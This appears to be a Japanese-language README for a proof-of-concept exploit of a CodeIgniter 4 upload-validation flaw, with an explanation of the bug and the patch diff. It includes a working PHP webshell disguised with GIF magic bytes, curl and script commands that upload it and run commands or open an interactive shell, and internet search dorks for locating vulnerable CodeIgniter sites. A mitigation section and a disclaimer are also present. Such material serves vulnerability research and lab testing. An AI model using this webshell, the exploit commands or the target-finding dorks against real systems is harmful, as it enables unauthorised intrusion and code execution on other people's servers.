
CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_inファイルアップロードRCE(CVSS 9.8)。イメージマジックバイトを使用した無制限のファイルアップロードバイパスによる認証不要のリモートコード実行。v4.7.4で修正済み。
CVSS 9.8 (緊急) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: 危険なタイプのファイルの無制限アップロード
修正済み: CodeIgniter 4 v4.7.4
セキュリティ勧告: GHSA-mmj4-63m4-r6h5
CodeIgniter 4 の is_image および mime_in ファイルアップロード検証ルールは、コンテンツから導出される MIME タイプ(マジックバイト)のみを検査し、クライアントが指定したファイル名の拡張子は検査しません。
認証されていない攻撃者は、PHP ウェブシェルの先頭に画像マジックバイト(GIF89a、\xFF\xD8\xFF\xE0、\x89PNG…)を付加し、shell.php という名前を付けることで、危険な実行可能拡張子を保持したまま is_image または mime_in の検証を通過できます。アップロードされたファイルが Web からアクセス可能なディレクトリに保存されると、攻撃者は任意のリモートコード実行を達成できます。
is_image または mime_in を使用してアップロードを検証しており、独立した拡張子チェック(ext_in)がない.php 拡張子が保持される)v4.7.4 の修正では、2つの新しいヘルパーメソッドが追加され、検証ルールに組み込まれています:
is_image — 修正前と修正後// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
return false;
}
return true;
// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
return false;
}
if ($this->hasInvalidImageClientExtension($file)) { // ← NEW
return false;
}
return true;
mime_in — 修正前と修正後// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
return true;
// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
if ($this->hasMismatchedClientExtension($file)) { // ← NEW
return false;
}
return true;
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
return mb_strpos($type, 'image') !== 0;
}
// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
return $file->guessExtension() !== $clientExtension;
}
重要なポイント: この修正は既存の Mimes::guessTypeFromExtension() および $file->guessExtension() メソッドに委譲し、2番目の検証レイヤーを追加しています。拡張子のないアップロード(例: JavaScript Blob オブジェクト)は引き続き受け入れられます。
CVE-2026-63223-POC/
├── README.md ← this file
├── Dockerfile ← vulnerable lab setup
├── docker-compose.yml ← easy `docker compose up`
├── exploit/
│ └── exploit.py ← Python exploit script
└── vulnerable-app/
├── app/Controllers/Upload.php ← vulnerable controller
├── app/Config/Routes.php ← routing
└── app/Views/
├── upload_form_avatar.php ← is_image bypass form
├── upload_form_doc.php ← mime_in bypass form
└── upload_form_safe.php ← SAFE reference form
# Build & start the vulnerable app
docker compose up -d
# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"
# Open in browser
open http://localhost:8080/upload/avatar
# Install dependency
pip install requests
# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"
# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell
# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data
# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar
# Execute
curl http://localhost:8080/uploads/evil.php?c=id
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method jpg --filename wp-admin.php --cmd "ls -la /"
# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method png --filename config.phtml --shell
PHP の $_FILES スーパーグローバルと CodeIgniter の UploadedFile オブジェクトは、2つの別々の情報を保持しています:
type / getMimeType() — ファイルのマジックバイト(コンテンツベース)から導出され、ブラウザがマルチパートアップロードの Content-Type 部分として送信するものname / getClientName() — クライアントから送信された元のファイル名(拡張子を含む)パッチ適用前は、is_image と mime_in は #1 のみをチェックしていました。攻撃者は次のように送信します:
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif
GIF89a
<?php system($_REQUEST['c']); ?>
is_image は image/gif を検出 → 通過shell.php として保存される(クライアント名が保持される).php ファイルを実行 → RCEパッチ適用後、拡張子が相互検証されます:
hasInvalidImageClientExtension() が .php を検出 → 拒否アップロードディレクトリ内で、画像マジックバイトを持つ PHP/PHTML/PHP5 ファイルを探します:
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'
# Or check raw bytes
xxd uploads/*.php | head
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"
# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"
# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"
# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"
# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"
# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"
# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"
# CI4 session fingerprint in Set-Cookie
header="ci_session"
# Broad CI4 detection
app="CodeIgniter Framework"
# ZoomEye
app:"CodeIgniter" +"file upload"
# Censys
services.http.response.body:"Welcome to CodeIgniter"
is_image/mime_in と併せて ext_in ルールを追加する<Directory "/var/www/html/public/uploads">
php_admin_flag engine off
</Directory>
この PoC は教育目的および許可を得たセキュリティテスト専用です。この脆弱性は責任を持って開示され、修正済みです。自分が所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。著者は誤用に対する責任を負いません。
| エンドポイント | 脆弱性 | 検証 |
|---|
/upload/avatar | 脆弱 | is_image のみ |
/upload/document | 脆弱 | mime_in のみ |
/upload/safe | 安全(対照群) | is_image + ext_in |